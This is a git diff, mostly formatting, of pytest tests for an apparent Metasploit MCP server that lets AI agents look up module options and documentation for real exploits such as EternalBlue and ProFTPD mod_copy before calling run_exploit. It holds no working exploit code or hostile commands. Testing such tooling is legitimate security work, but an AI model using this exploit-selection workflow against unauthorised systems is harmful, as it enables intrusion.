get_module_documentation - - with patch('metasploit_mcp.server.MSF_DOCS_PATH', str(temp_docs_dir)): - result = await get_module_documentation.fn('exploit/unix/ftp/proftpd_modcopy_exec') - - assert result['status'] == 'success' - assert 'ProFTPD mod_copy' in result['documentation'] - assert 'RHOSTS' in result['documentation'] - assert 'Verification Steps' in result['documentation'] + + with patch("metasploit_mcp.server.MSF_DOCS_PATH", str(temp_docs_dir)): + result = await get_module_documentation("exploit/unix/ftp/proftpd_modcopy_exec") + + assert result["status"] == "success" + assert "ProFTPD mod_copy" in result["documentation"] + assert "RHOSTS" in result["documentation"] + assert "Verification Steps" in result["documentation"] @pytest.mark.asyncio async def test_get_documentation_without_type_prefix(self, temp_docs_dir): """Test documentation retrieval without type prefix (tries all types).""" from metasploit_mcp.server import get_module_documentation - - with patch('metasploit_mcp.server.MSF_DOCS_PATH', str(temp_docs_dir)): + + with patch("metasploit_mcp.server.MSF_DOCS_PATH", str(temp_docs_dir)): # Should find it by trying exploit/ prefix - result = await get_module_documentation.fn('windows/smb/ms17_010_eternalblue') - - assert result['status'] == 'success' - assert 'EternalBlue' in result['documentation'] + result = await get_module_documentation("windows/smb/ms17_010_eternalblue") + + assert result["status"] == "success" + assert "EternalBlue" in result["documentation"] @pytest.mark.asyncio async def test_get_documentation_not_found(self, temp_docs_dir): """Test documentation not found scenario.""" from metasploit_mcp.server import get_module_documentation - - with patch('metasploit_mcp.server.MSF_DOCS_PATH', str(temp_docs_dir)): - result = await get_module_documentation.fn('exploit/nonexistent/module') - - assert result['status'] == 'not_found' - assert result['documentation'] is None - assert 'suggestions' in result + + with patch("metasploit_mcp.server.MSF_DOCS_PATH", str(temp_docs_dir)): + result = await get_module_documentation("exploit/nonexistent/module") + + assert result["status"] == "not_found" + assert result["documentation"] is None + assert "suggestions" in result @pytest.mark.asyncio async def test_get_documentation_with_suggestions(self, temp_docs_dir): """Test that similar documentation files are suggested when exact match not found.""" from metasploit_mcp.server import get_module_documentation - - with patch('metasploit_mcp.server.MSF_DOCS_PATH', str(temp_docs_dir)): + + with patch("metasploit_mcp.server.MSF_DOCS_PATH", str(temp_docs_dir)): # Search for something close to proftpd - result = await get_module_documentation.fn('exploit/unix/ftp/proftpd') - - assert result['status'] == 'not_found' + result = await get_module_documentation("exploit/unix/ftp/proftpd") + + assert result["status"] == "not_found" # Should suggest the actual proftpd_modcopy_exec.md - assert len(result['suggestions']) > 0 + assert len(result["suggestions"]) > 0 @pytest.mark.asyncio async def test_get_documentation_dir_not_exists(self): """Test when documentation directory doesn't exist.""" from metasploit_mcp.server import get_module_documentation - - with patch('metasploit_mcp.server.MSF_DOCS_PATH', '/nonexistent/path'): - result = await get_module_documentation.fn('any/module') - - assert result['status'] == 'not_available' - assert 'not installed' in result['message'].lower() - assert result['documentation'] is None + + with patch("metasploit_mcp.server.MSF_DOCS_PATH", "/nonexistent/path"): + result = await get_module_documentation("any/module") + + assert result["status"] == "not_available" + assert "not installed" in result["message"].lower() + assert result["documentation"] is None @pytest.mark.asyncio async def test_get_documentation_auxiliary_module(self, temp_docs_dir): """Test documentation retrieval for auxiliary modules.""" from metasploit_mcp.server import get_module_documentation - - with patch('metasploit_mcp.server.MSF_DOCS_PATH', str(temp_docs_dir)): - result = await get_module_documentation.fn('auxiliary/scanner/http/http_version') - - assert result['status'] == 'success' - assert 'HTTP Version Scanner' in result['documentation'] + + with patch("metasploit_mcp.server.MSF_DOCS_PATH", str(temp_docs_dir)): + result = await get_module_documentation("auxiliary/scanner/http/http_version") + + assert result["status"] == "success" + assert "HTTP Version Scanner" in result["documentation"] @pytest.mark.asyncio async def test_get_documentation_normalizes_path(self, temp_docs_dir): """Test that paths are properly normalized.""" from metasploit_mcp.server import get_module_documentation - - with patch('metasploit_mcp.server.MSF_DOCS_PATH', str(temp_docs_dir)): + + with patch("metasploit_mcp.server.MSF_DOCS_PATH", str(temp_docs_dir)): # Test with leading/trailing slashes - result = await get_module_documentation.fn('/exploit/unix/ftp/proftpd_modcopy_exec/') - - assert result['status'] == 'success' + result = await get_module_documentation("/exploit/unix/ftp/proftpd_modcopy_exec/") + + assert result["status"] == "success" class TestFindSimilarDocumentationFiles: @@ -460,57 +475,56 @@ def temp_docs_dir(self): """Create a temporary documentation directory with sample files.""" with tempfile.TemporaryDirectory() as tmpdir: docs_path = pathlib.Path(tmpdir) - + # Create directory structure - (docs_path / 'exploit' / 'windows' / 'smb').mkdir(parents=True) - (docs_path / 'exploit' / 'linux' / 'http').mkdir(parents=True) - (docs_path / 'auxiliary' / 'scanner' / 'smb').mkdir(parents=True) - + (docs_path / "exploit" / "windows" / "smb").mkdir(parents=True) + (docs_path / "exploit" / "linux" / "http").mkdir(parents=True) + (docs_path / "auxiliary" / "scanner" / "smb").mkdir(parents=True) + # Create sample files - (docs_path / 'exploit' / 'windows' / 'smb' / 'ms17_010_eternalblue.md').write_text('test') - (docs_path / 'exploit' / 'windows' / 'smb' / 'ms08_067_netapi.md').write_text('test') - (docs_path / 'exploit' / 'linux' / 'http' / 'apache_cgi.md').write_text('test') - (docs_path / 'auxiliary' / 'scanner' / 'smb' / 'smb_version.md').write_text('test') - + (docs_path / "exploit" / "windows" / "smb" / "ms17_010_eternalblue.md").write_text( + "test" + ) + (docs_path / "exploit" / "windows" / "smb" / "ms08_067_netapi.md").write_text("test") + (docs_path / "exploit" / "linux" / "http" / "apache_cgi.md").write_text("test") + (docs_path / "auxiliary" / "scanner" / "smb" / "smb_version.md").write_text("test") + yield docs_path @pytest.mark.asyncio async def test_find_similar_by_keyword(self, temp_docs_dir): """Test finding similar files by keyword matching.""" from metasploit_mcp.server import _find_similar_documentation_files - + suggestions = await _find_similar_documentation_files( - temp_docs_dir, - 'windows/smb/eternalblue' + temp_docs_dir, "windows/smb/eternalblue" ) - + assert len(suggestions) > 0 - assert any('eternalblue' in s for s in suggestions) + assert any("eternalblue" in s for s in suggestions) @pytest.mark.asyncio async def test_find_similar_multiple_matches(self, temp_docs_dir): """Test finding multiple similar files.""" from metasploit_mcp.server import _find_similar_documentation_files - + suggestions = await _find_similar_documentation_files( - temp_docs_dir, - 'windows/smb/something' + temp_docs_dir, "windows/smb/something" ) - + # Should find both ms17_010 and ms08_067 in windows/smb - smb_matches = [s for s in suggestions if 'smb' in s] + smb_matches = [s for s in suggestions if "smb" in s] assert len(smb_matches) >= 2 @pytest.mark.asyncio async def test_find_similar_no_matches(self, temp_docs_dir): """Test when no similar files are found.""" from metasploit_mcp.server import _find_similar_documentation_files - + suggestions = await _find_similar_documentation_files( - temp_docs_dir, - 'totally/unrelated/xyz123abc' + temp_docs_dir, "totally/unrelated/xyz123abc" ) - + # Should return empty list, not error assert suggestions == [] @@ -518,27 +532,22 @@ async def test_find_similar_no_matches(self, temp_docs_dir): async def test_find_similar_respects_max_suggestions(self, temp_docs_dir): """Test that max_suggestions limit is respected.""" from metasploit_mcp.server import _find_similar_documentation_files - + suggestions = await _find_similar_documentation_files( - temp_docs_dir, - 'smb', # Should match multiple files - max_suggestions=2 + temp_docs_dir, "smb", max_suggestions=2 # Should match multiple files ) - + assert len(suggestions) <= 2 @pytest.mark.asyncio async def test_find_similar_empty_path(self): """Test with non-existent path.""" from metasploit_mcp.server import _find_similar_documentation_files - + with tempfile.TemporaryDirectory() as tmpdir: docs_path = pathlib.Path(tmpdir) - suggestions = await _find_similar_documentation_files( - docs_path, - 'any/module' - ) - + suggestions = await _find_similar_documentation_files(docs_path, "any/module") + assert suggestions == [] @@ -550,98 +559,111 @@ def temp_docs_dir(self): """Create a temporary documentation directory.""" with tempfile.TemporaryDirectory() as tmpdir: docs_path = pathlib.Path(tmpdir) - - (docs_path / 'exploit' / 'unix' / 'ftp').mkdir(parents=True) - - proftpd_doc = docs_path / 'exploit' / 'unix' / 'ftp' / 'proftpd_modcopy_exec.md' + + (docs_path / "exploit" / "unix" / "ftp").mkdir(parents=True) + + proftpd_doc = docs_path / "exploit" / "unix" / "ftp" / "proftpd_modcopy_exec.md" proftpd_doc.write_text("""# ProFTPD mod_copy ## Scenarios Use with RHOSTS, RPORT, RPORT_FTP, SITEPATH, TMPPATH, and TARGETURI options. """) - + yield docs_path @pytest.mark.asyncio async def test_workflow_describe_then_get_docs(self, temp_docs_dir): """Test the recommended workflow: describe_module -> get_module_documentation.""" from metasploit_mcp.server import describe_module, get_module_documentation - + # Setup describe_module mocks module_info = { - 'name': 'ProFTPD mod_copy', - 'description': 'Exploits mod_copy commands', - 'authors': ['Test'], - 'references': [['CVE', '2015-3306']], - 'notes': {'Stability': ['CRASH_SAFE']}, - 'platform': ['unix'], - 'arch': ['cmd'], + "name": "ProFTPD mod_copy", + "description": "Exploits mod_copy commands", + "authors": ["Test"], + "references": [["CVE", "2015-3306"]], + "notes": {"Stability": ["CRASH_SAFE"]}, + "platform": ["unix"], + "arch": ["cmd"], } - + module_options = { - 'RHOSTS': {'type': 'address', 'required': True, 'desc': 'Target'}, - 'SITEPATH': {'type': 'string', 'required': True, 'default': '/var/www', 'desc': 'Web path'}, + "RHOSTS": {"type": "address", "required": True, "desc": "Target"}, + "SITEPATH": { + "type": "string", + "required": True, + "default": "/var/www", + "desc": "Web path", + }, } - + mock_client = MockMsfRpcClient() + def mock_call(method, args): - if method == 'module.info': + if method == "module.info": return module_info - elif method == 'module.options': + elif method == "module.options": return module_options return {} + mock_client.call = Mock(side_effect=mock_call) - + # Step 1: describe_module to get options - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - info_result = await describe_module.fn('unix/ftp/proftpd_modcopy_exec', 'exploit') - - assert info_result['status'] == 'success' - assert 'RHOSTS' in info_result['options'] - assert 'SITEPATH' in info_result['options'] - + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + info_result = await describe_module("unix/ftp/proftpd_modcopy_exec", "exploit") + + assert info_result["status"] == "success" + assert "RHOSTS" in info_result["options"] + assert "SITEPATH" in info_result["options"] + # Step 2: get_module_documentation for usage examples - with patch('metasploit_mcp.server.MSF_DOCS_PATH', str(temp_docs_dir)): - docs_result = await get_module_documentation.fn('exploit/unix/ftp/proftpd_modcopy_exec') - - assert docs_result['status'] == 'success' - assert 'Scenarios' in docs_result['documentation'] - + with patch("metasploit_mcp.server.MSF_DOCS_PATH", str(temp_docs_dir)): + docs_result = await get_module_documentation("exploit/unix/ftp/proftpd_modcopy_exec") + + assert docs_result["status"] == "success" + assert "Scenarios" in docs_result["documentation"] + # Agent now has all info needed to correctly use run_exploit @pytest.mark.asyncio async def test_describe_module_then_docs_not_found(self, temp_docs_dir): """Test when module exists but documentation doesn't.""" from metasploit_mcp.server import describe_module, get_module_documentation - + module_info = { - 'name': 'Some Module Without Docs', - 'description': 'A module that has no documentation', - 'authors': ['Test'], - 'references': [], - 'platform': ['windows'], - 'arch': ['x64'], + "name": "Some Module Without Docs", + "description": "A module that has no documentation", + "authors": ["Test"], + "references": [], + "platform": ["windows"], + "arch": ["x64"], } - + mock_client = MockMsfRpcClient() mock_client.call = Mock(return_value=module_info) - + mock_module_obj = Mock() - mock_module_obj.options = {'RHOSTS': {'type': 'address', 'required': True, 'desc': 'Target'}} - + mock_module_obj.options = { + "RHOSTS": {"type": "address", "required": True, "desc": "Target"} + } + # describe_module should succeed - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - with patch('metasploit_mcp.server._get_module_object', new_callable=AsyncMock, return_value=mock_module_obj): - info_result = await describe_module.fn('some/module/without_docs', 'exploit') - - assert info_result['status'] == 'success' - + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + with patch( + "metasploit_mcp.server._get_module_object", + new_callable=AsyncMock, + return_value=mock_module_obj, + ): + info_result = await describe_module("some/module/without_docs", "exploit") + + assert info_result["status"] == "success" + # But documentation won't exist - with patch('metasploit_mcp.server.MSF_DOCS_PATH', str(temp_docs_dir)): - docs_result = await get_module_documentation.fn('exploit/some/module/without_docs') - - assert docs_result['status'] == 'not_found' + with patch("metasploit_mcp.server.MSF_DOCS_PATH", str(temp_docs_dir)): + docs_result = await get_module_documentation("exploit/some/module/without_docs") + + assert docs_result["status"] == "not_found" # Should still have options from describe_module to proceed @@ -652,162 +674,173 @@ class TestEdgeCases: async def test_describe_module_empty_options(self): """Test when module has no options.""" from metasploit_mcp.server import describe_module - + mock_client = MockMsfRpcClient() + def mock_call(method, args): - if method == 'module.info': - return {'name': 'Test', 'description': 'Test module'} - elif method == 'module.options': + if method == "module.info": + return {"name": "Test", "description": "Test module"} + elif method == "module.options": return {} return {} + mock_client.call = Mock(side_effect=mock_call) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - result = await describe_module.fn('test/module', 'exploit') - - assert result['status'] == 'success' - assert result['options'] == {} + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + result = await describe_module("test/module", "exploit") + + assert result["status"] == "success" + assert result["options"] == {} @pytest.mark.asyncio async def test_describe_module_options_exception(self): """Test graceful handling when options retrieval fails.""" from metasploit_mcp.server import describe_module - + call_count = [0] + def mock_call(method, args): call_count[0] += 1 - if method == 'module.info': - return {'name': 'Test', 'description': 'Test module'} - elif method == 'module.options': + if method == "module.info": + return {"name": "Test", "description": "Test module"} + elif method == "module.options": raise Exception("Options error") return {} - + mock_client = MockMsfRpcClient() mock_client.call = Mock(side_effect=mock_call) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - result = await describe_module.fn('test/module', 'exploit') - + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + result = await describe_module("test/module", "exploit") + # Should still return basic info even if options fail - assert result['status'] == 'success' - assert result['options'] == {} + assert result["status"] == "success" + assert result["options"] == {} @pytest.mark.asyncio async def test_describe_module_malformed_references(self): """Test handling of malformed references in module info.""" from metasploit_mcp.server import describe_module - + module_info = { - 'name': 'Test', - 'description': 'Test', - 'references': [ - ['CVE', '2023-1234'], # Valid - 'invalid_reference', # Invalid - should be skipped - ['URL'], # Invalid - missing value - {'type': 'EDB', 'value': '12345'}, # Dict format - ] + "name": "Test", + "description": "Test", + "references": [ + ["CVE", "2023-1234"], # Valid + "invalid_reference", # Invalid - should be skipped + ["URL"], # Invalid - missing value + {"type": "EDB", "value": "12345"}, # Dict format + ], } - + mock_client = MockMsfRpcClient() + def mock_call(method, args): - if method == 'module.info': + if method == "module.info": return module_info - elif method == 'module.options': + elif method == "module.options": return {} return {} + mock_client.call = Mock(side_effect=mock_call) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - result = await describe_module.fn('test/module', 'exploit') - - assert result['status'] == 'success' + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + result = await describe_module("test/module", "exploit") + + assert result["status"] == "success" # Should have parsed valid references - assert len(result['references']) >= 1 + assert len(result["references"]) >= 1 @pytest.mark.asyncio async def test_get_documentation_file_read_error(self): """Test handling of file read errors.""" from metasploit_mcp.server import get_module_documentation - + with tempfile.TemporaryDirectory() as tmpdir: docs_path = pathlib.Path(tmpdir) - (docs_path / 'exploit').mkdir() - + (docs_path / "exploit").mkdir() + # Create a file we can't read (in practice this is hard to test) - bad_file = docs_path / 'exploit' / 'bad_module.md' - bad_file.write_text('test') - - with patch('metasploit_mcp.server.MSF_DOCS_PATH', str(docs_path)): - with patch.object(pathlib.Path, 'read_text', side_effect=PermissionError("Access denied")): - result = await get_module_documentation.fn('exploit/bad_module') - - assert result['status'] == 'error' - assert 'error' in result['message'].lower() + bad_file = docs_path / "exploit" / "bad_module.md" + bad_file.write_text("test") + + with patch("metasploit_mcp.server.MSF_DOCS_PATH", str(docs_path)): + with patch.object( + pathlib.Path, "read_text", side_effect=PermissionError("Access denied") + ): + result = await get_module_documentation("exploit/bad_module") + + assert result["status"] == "error" + assert "error" in result["message"].lower() @pytest.mark.asyncio async def test_describe_module_rpc_connection_error(self): """Test handling of RPC connection errors.""" from metasploit_mcp.server import describe_module, MsfRpcError - + mock_client = MockMsfRpcClient() mock_client.call = Mock(side_effect=MsfRpcError("Connection refused")) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - result = await describe_module.fn('test/module', 'exploit') - - assert result['status'] == 'error' - assert 'rpc' in result['message'].lower() or 'connection' in result['message'].lower() + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + result = await describe_module("test/module", "exploit") + + assert result["status"] == "error" + assert "rpc" in result["message"].lower() or "connection" in result["message"].lower() @pytest.mark.asyncio async def test_describe_module_options_unexpected_type(self): """Test handling when module.options RPC returns unexpected type. - - Regression test for robustness - if RPC returns non-dict data, + + Regression test for robustness - if RPC returns non-dict data, the function should handle it gracefully. """ from metasploit_mcp.server import describe_module - + mock_client = MockMsfRpcClient() + def mock_call(method, args): - if method == 'module.info': - return {'name': 'Test Module', 'description': 'Test description'} - elif method == 'module.options': + if method == "module.info": + return {"name": "Test Module", "description": "Test description"} + elif method == "module.options": # Simulate unexpected response - a list instead of dict - return ['RHOSTS', 'RPORT', 'THREADS'] + return ["RHOSTS", "RPORT", "THREADS"] return {} + mock_client.call = Mock(side_effect=mock_call) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - result = await describe_module.fn('test/module', 'exploit') - - assert result['status'] == 'success' - assert 'options' in result + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + result = await describe_module("test/module", "exploit") + + assert result["status"] == "success" + assert "options" in result # Should default to empty dict when RPC returns unexpected type - assert isinstance(result['options'], dict) - assert result['options'] == {} + assert isinstance(result["options"], dict) + assert result["options"] == {} @pytest.mark.asyncio async def test_describe_module_options_none_response(self): """Test handling when module.options RPC returns None. - + Edge case test for robustness. """ from metasploit_mcp.server import describe_module - + mock_client = MockMsfRpcClient() + def mock_call(method, args): - if method == 'module.info': - return {'name': 'Test Module', 'description': 'Test description'} - elif method == 'module.options': + if method == "module.info": + return {"name": "Test Module", "description": "Test description"} + elif method == "module.options": return None return {} + mock_client.call = Mock(side_effect=mock_call) - - with patch('metasploit_mcp.server.get_msf_client', return_value=mock_client): - result = await describe_module.fn('test/module', 'exploit') - - assert result['status'] == 'success' - assert 'options' in result + + with patch("metasploit_mcp.server.get_msf_client", return_value=mock_client): + result = await describe_module("test/module", "exploit") + + assert result["status"] == "success" + assert "options" in result # Should default to empty dict when RPC returns None - assert isinstance(result['options'], dict) - assert result['options'] == {} + assert isinstance(result["options"], dict) + assert result["options"] == {} diff --git a/tests/test_msf_cleanup.py b/tests/test_msf_cleanup.py index c06c2a8..2fee889 100644 --- a/tests/test_msf_cleanup.py +++ b/tests/test_msf_cleanup.py @@ -15,75 +15,75 @@ class TestMsfClientCleanup: """Tests for cleanup_msf_client() function""" - + def test_cleanup_msf_client_no_client(self): """Test cleanup handles None client gracefully""" import metasploit_mcp.server as MetasploitMCP - + # Ensure no client is set MetasploitMCP._msf_client_instance = None - + # This should complete without error MetasploitMCP.cleanup_msf_client() - + def test_cleanup_msf_client_calls_logout(self): """Test cleanup calls auth.logout with token""" import metasploit_mcp.server as MetasploitMCP - + # Create mock client mock_client = Mock() mock_client.token = "test-token-456" mock_client.call = Mock(return_value={"result": "success"}) - + MetasploitMCP._msf_client_instance = mock_client - + try: # Perform cleanup MetasploitMCP.cleanup_msf_client() - + # Verify auth.logout was called with token - mock_client.call.assert_called_once_with('auth.logout', ['test-token-456']) - + mock_client.call.assert_called_once_with("auth.logout", ["test-token-456"]) + # Verify client reference was cleared assert MetasploitMCP._msf_client_instance is None finally: # Ensure cleanup for subsequent tests MetasploitMCP._msf_client_instance = None - + def test_cleanup_msf_client_handles_logout_error(self): """Test cleanup handles auth.logout error gracefully""" import metasploit_mcp.server as MetasploitMCP - + # Create mock client that raises error on logout mock_client = Mock() mock_client.token = "test-token-789" mock_client.call = Mock(side_effect=Exception("Connection lost")) - + MetasploitMCP._msf_client_instance = mock_client - + try: # This should complete without raising exception MetasploitMCP.cleanup_msf_client() - + # Client reference should still be cleared assert MetasploitMCP._msf_client_instance is None finally: # Ensure cleanup for subsequent tests MetasploitMCP._msf_client_instance = None - + def test_cleanup_msf_client_no_token(self): """Test cleanup handles client without token""" import metasploit_mcp.server as MetasploitMCP - + # Create mock client without token mock_client = Mock(spec=[]) # No attributes - + MetasploitMCP._msf_client_instance = mock_client - + try: # This should complete without error MetasploitMCP.cleanup_msf_client() - + # Client reference should be cleared assert MetasploitMCP._msf_client_instance is None finally: @@ -93,38 +93,38 @@ def test_cleanup_msf_client_no_token(self): class TestMsfClientCleanupAsync: """Tests for cleanup_msf_client_async() function""" - + @pytest.mark.asyncio async def test_cleanup_msf_client_async_no_client(self): """Test async cleanup handles None client gracefully""" import metasploit_mcp.server as MetasploitMCP - + # Ensure no client is set MetasploitMCP._msf_client_instance = None - + # This should complete without error await MetasploitMCP.cleanup_msf_client_async() - + @pytest.mark.asyncio async def test_cleanup_msf_client_async_calls_logout(self): """Test async cleanup calls auth.logout with token""" import metasploit_mcp.server as MetasploitMCP - + # Create mock client mock_client = Mock() mock_client.token = "async-test-token" mock_client.call = Mock(return_value={"result": "success"}) - + MetasploitMCP._msf_client_instance = mock_client - + try: # Perform cleanup await MetasploitMCP.cleanup_msf_client_async() - + # Verify auth.logout was called (via asyncio.to_thread) # The actual call is wrapped, so we check that call was invoked assert mock_client.call.called - + # Verify client reference was cleared assert MetasploitMCP._msf_client_instance is None finally: @@ -134,33 +134,33 @@ async def test_cleanup_msf_client_async_calls_logout(self): class TestCleanupAllMsfResources: """Tests for cleanup_all_msf_resources() function""" - + @pytest.mark.asyncio async def test_cleanup_all_resources_calls_both(self): """Test cleanup_all_msf_resources calls both instance manager and client cleanup""" import metasploit_mcp.server as MetasploitMCP - + # Mock instance manager mock_instance_manager = Mock() mock_instance_manager.shutdown = AsyncMock() - + # Mock global client mock_client = Mock() mock_client.token = "all-resources-token" mock_client.call = Mock(return_value={"result": "success"}) - + # Set up mocks original_instance_manager = MetasploitMCP._instance_manager MetasploitMCP._instance_manager = mock_instance_manager MetasploitMCP._msf_client_instance = mock_client - + try: # Perform cleanup await MetasploitMCP.cleanup_all_msf_resources() - + # Verify instance manager shutdown was called mock_instance_manager.shutdown.assert_called_once() - + # Verify client was cleaned up assert MetasploitMCP._msf_client_instance is None finally: @@ -171,137 +171,136 @@ async def test_cleanup_all_resources_calls_both(self): class TestInstanceManagerTerminateInstance: """Tests for MetasploitInstanceManager._terminate_instance()""" - + @pytest.mark.asyncio async def test_terminate_instance_calls_logout(self): """Test that _terminate_instance calls auth.logout before terminating""" from metasploit_mcp.instance_manager import MetasploitInstanceManager, MetasploitInstance - + # Create manager manager = MetasploitInstanceManager(base_port=55553, password="test") - + # Create mock instance mock_client = Mock() mock_client.token = "instance-token" mock_client.call = Mock(return_value={"result": "success"}) - + mock_process = Mock() mock_process.poll = Mock(return_value=None) # Process is running mock_process.terminate = Mock() mock_process.wait = Mock() mock_process.pid = 12345 - + test_instance = MetasploitInstance( agent_id="test-agent", port=55554, password="test", process=mock_process, - client=mock_client + client=mock_client, ) - + manager.instances["test-agent"] = test_instance - + # Terminate the instance await manager._terminate_instance("test-agent") - + # Verify auth.logout was called - mock_client.call.assert_called_once_with('auth.logout', ['instance-token']) - + mock_client.call.assert_called_once_with("auth.logout", ["instance-token"]) + # Verify process was terminated mock_process.terminate.assert_called_once() - + # Verify instance was removed assert "test-agent" not in manager.instances - + @pytest.mark.asyncio async def test_terminate_instance_handles_logout_error(self): """Test that _terminate_instance handles auth.logout error gracefully""" from metasploit_mcp.instance_manager import MetasploitInstanceManager, MetasploitInstance - + # Create manager manager = MetasploitInstanceManager(base_port=55553, password="test") - + # Create mock instance with failing logout mock_client = Mock() mock_client.token = "error-token" mock_client.call = Mock(side_effect=Exception("Connection refused")) - + mock_process = Mock() mock_process.poll = Mock(return_value=None) mock_process.terminate = Mock() mock_process.wait = Mock() mock_process.pid = 12346 - + test_instance = MetasploitInstance( agent_id="error-agent", port=55555, password="test", process=mock_process, - client=mock_client + client=mock_client, ) - + manager.instances["error-agent"] = test_instance - + # This should complete without raising exception await manager._terminate_instance("error-agent") - + # Process should still be terminated despite logout error mock_process.terminate.assert_called_once() - + # Instance should be removed assert "error-agent" not in manager.instances - + @pytest.mark.asyncio async def test_terminate_instance_not_found(self): """Test that _terminate_instance handles non-existent agent gracefully""" from metasploit_mcp.instance_manager import MetasploitInstanceManager - + # Create manager manager = MetasploitInstanceManager(base_port=55553, password="test") - + # This should complete without error await manager._terminate_instance("nonexistent-agent") class TestInstanceManagerShutdown: """Tests for MetasploitInstanceManager.shutdown()""" - + @pytest.mark.asyncio async def test_shutdown_terminates_all_instances(self): """Test that shutdown terminates all instances""" from metasploit_mcp.instance_manager import MetasploitInstanceManager, MetasploitInstance - + # Create manager manager = MetasploitInstanceManager(base_port=55553, password="test") - + # Create mock instances for i in range(3): mock_client = Mock() mock_client.token = f"shutdown-token-{i}" mock_client.call = Mock(return_value={"result": "success"}) - + mock_process = Mock() mock_process.poll = Mock(return_value=None) mock_process.terminate = Mock() mock_process.wait = Mock() mock_process.pid = 12350 + i - + test_instance = MetasploitInstance( agent_id=f"shutdown-agent-{i}", port=55560 + i, password="test", process=mock_process, - client=mock_client + client=mock_client, ) - + manager.instances[f"shutdown-agent-{i}"] = test_instance - + # Verify we have 3 instances assert len(manager.instances) == 3 - + # Shutdown await manager.shutdown() - + # Verify all instances were removed assert len(manager.instances) == 0 - diff --git a/tests/test_options_parsing.py b/tests/test_options_parsing.py index e0d292f..22ea377 100644 --- a/tests/test_options_parsing.py +++ b/tests/test_options_parsing.py @@ -10,24 +10,24 @@ from typing import Dict, Any, Union # Add the parent directory to the path to import metasploit_mcp.server as MetasploitMCP -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) # Mock the dependencies that aren't available in test environment mock_uvicorn = Mock() mock_uvicorn.server = Mock() -sys.modules['uvicorn'] = mock_uvicorn -sys.modules['uvicorn.server'] = mock_uvicorn.server -sys.modules['fastapi'] = Mock() -sys.modules['mcp.server.fastmcp'] = Mock() -sys.modules['mcp.server.sse'] = Mock() -sys.modules['pymetasploit3.msfrpc'] = Mock() -sys.modules['starlette.applications'] = Mock() -sys.modules['starlette.routing'] = Mock() -sys.modules['mcp.server.session'] = Mock() +sys.modules["uvicorn"] = mock_uvicorn +sys.modules["uvicorn.server"] = mock_uvicorn.server +sys.modules["fastapi"] = Mock() +sys.modules["mcp.server.fastmcp"] = Mock() +sys.modules["mcp.server.sse"] = Mock() +sys.modules["pymetasploit3.msfrpc"] = Mock() +sys.modules["starlette.applications"] = Mock() +sys.modules["starlette.routing"] = Mock() +sys.modules["mcp.server.session"] = Mock() # Mock fastmcp before it's imported -sys.modules['fastmcp'] = Mock() -sys.modules['fastmcp.client'] = Mock() -sys.modules['fastmcp.client.transports'] = Mock() +sys.modules["fastmcp"] = Mock() +sys.modules["fastmcp.client"] = Mock() +sys.modules["fastmcp.client.transports"] = Mock() # Import the function we want to test from metasploit_mcp.server import _parse_options_gracefully @@ -53,7 +53,7 @@ def test_empty_string_returns_empty_dict(self): """Test that empty string returns empty dictionary.""" result = _parse_options_gracefully("") assert result == {} - + result = _parse_options_gracefully(" ") assert result == {} @@ -90,12 +90,7 @@ def test_string_format_with_quotes(self): def test_boolean_conversion(self): """Test boolean value conversion.""" input_str = "ExitOnSession=true,Verbose=false,Debug=TRUE,Silent=FALSE" - expected = { - "ExitOnSession": True, - "Verbose": False, - "Debug": True, - "Silent": False - } + expected = {"ExitOnSession": True, "Verbose": False, "Debug": True, "Silent": False} result = _parse_options_gracefully(input_str) assert result == expected @@ -109,12 +104,7 @@ def test_numeric_conversion(self): def test_mixed_types(self): """Test parsing with mixed value types.""" input_str = "LHOST=192.168.1.100,LPORT=4444,SSL=true,Retries=3" - expected = { - "LHOST": "192.168.1.100", - "LPORT": 4444, - "SSL": True, - "Retries": 3 - } + expected = {"LHOST": "192.168.1.100", "LPORT": 4444, "SSL": True, "Retries": 3} result = _parse_options_gracefully(input_str) assert result == expected @@ -131,7 +121,7 @@ def test_complex_values(self): expected = { "CertFile": "/path/to/cert.pem", "URL": "https://example.com:8443/api", - "Command": "ls -la" + "Command": "ls -la", } result = _parse_options_gracefully(input_str) assert result == expected @@ -199,29 +189,26 @@ def test_quoted_empty_value(self): def test_special_characters_in_values(self): """Test handling of special characters in values.""" input_str = "Password=p@ssw0rd!,Path=/home/user/file.txt,Regex=\\d+" - expected = { - "Password": "p@ssw0rd!", - "Path": "/home/user/file.txt", - "Regex": "\\d+" - } + expected = {"Password": "p@ssw0rd!", "Path": "/home/user/file.txt", "Regex": "\\d+"} result = _parse_options_gracefully(input_str) assert result == expected - @pytest.mark.parametrize("input_val,expected", [ - # Basic cases - ({"key": "value"}, {"key": "value"}), - ("key=value", {"key": "value"}), - (None, {}), - ("", {}), - - # Type conversions - ("port=8080", {"port": 8080}), - ("enabled=true", {"enabled": True}), - ("disabled=false", {"disabled": False}), - - # Complex cases - ("a=1,b=true,c=text", {"a": 1, "b": True, "c": "text"}), - ]) + @pytest.mark.parametrize( + "input_val,expected", + [ + # Basic cases + ({"key": "value"}, {"key": "value"}), + ("key=value", {"key": "value"}), + (None, {}), + ("", {}), + # Type conversions + ("port=8080", {"port": 8080}), + ("enabled=true", {"enabled": True}), + ("disabled=false", {"disabled": False}), + # Complex cases + ("a=1,b=true,c=text", {"a": 1, "b": True, "c": "text"}), + ], + ) def test_parametrized_cases(self, input_val, expected): """Parametrized test cases for various inputs.""" result = _parse_options_gracefully(input_val) @@ -239,11 +226,11 @@ def test_large_number_handling(self): def test_logging_behavior(self): """Test that logging occurs during string conversion.""" - with patch('metasploit_mcp.server.logger') as mock_logger: + with patch("metasploit_mcp.server.logger") as mock_logger: 